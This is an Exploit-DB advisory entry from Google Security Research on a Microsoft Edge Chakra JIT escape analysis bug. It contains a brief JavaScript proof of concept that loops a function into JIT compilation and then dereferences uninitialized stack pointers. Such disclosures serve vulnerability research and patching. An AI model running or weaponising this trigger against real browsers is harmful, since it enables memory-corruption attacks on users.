Lucene search

K
exploitdbGoogle Security ResearchEDB-ID:43469
HistoryJan 09, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT - Escape Analysis Bug

2018-01-0900:00:00
Google Security Research
www.exploit-db.com
16

AI Score

7.4

Confidence

Low

EPSS

0.935

Percentile

99.2%

/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}

function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }

    print(opt());  // deref uninitialized stack pointers!
}

main();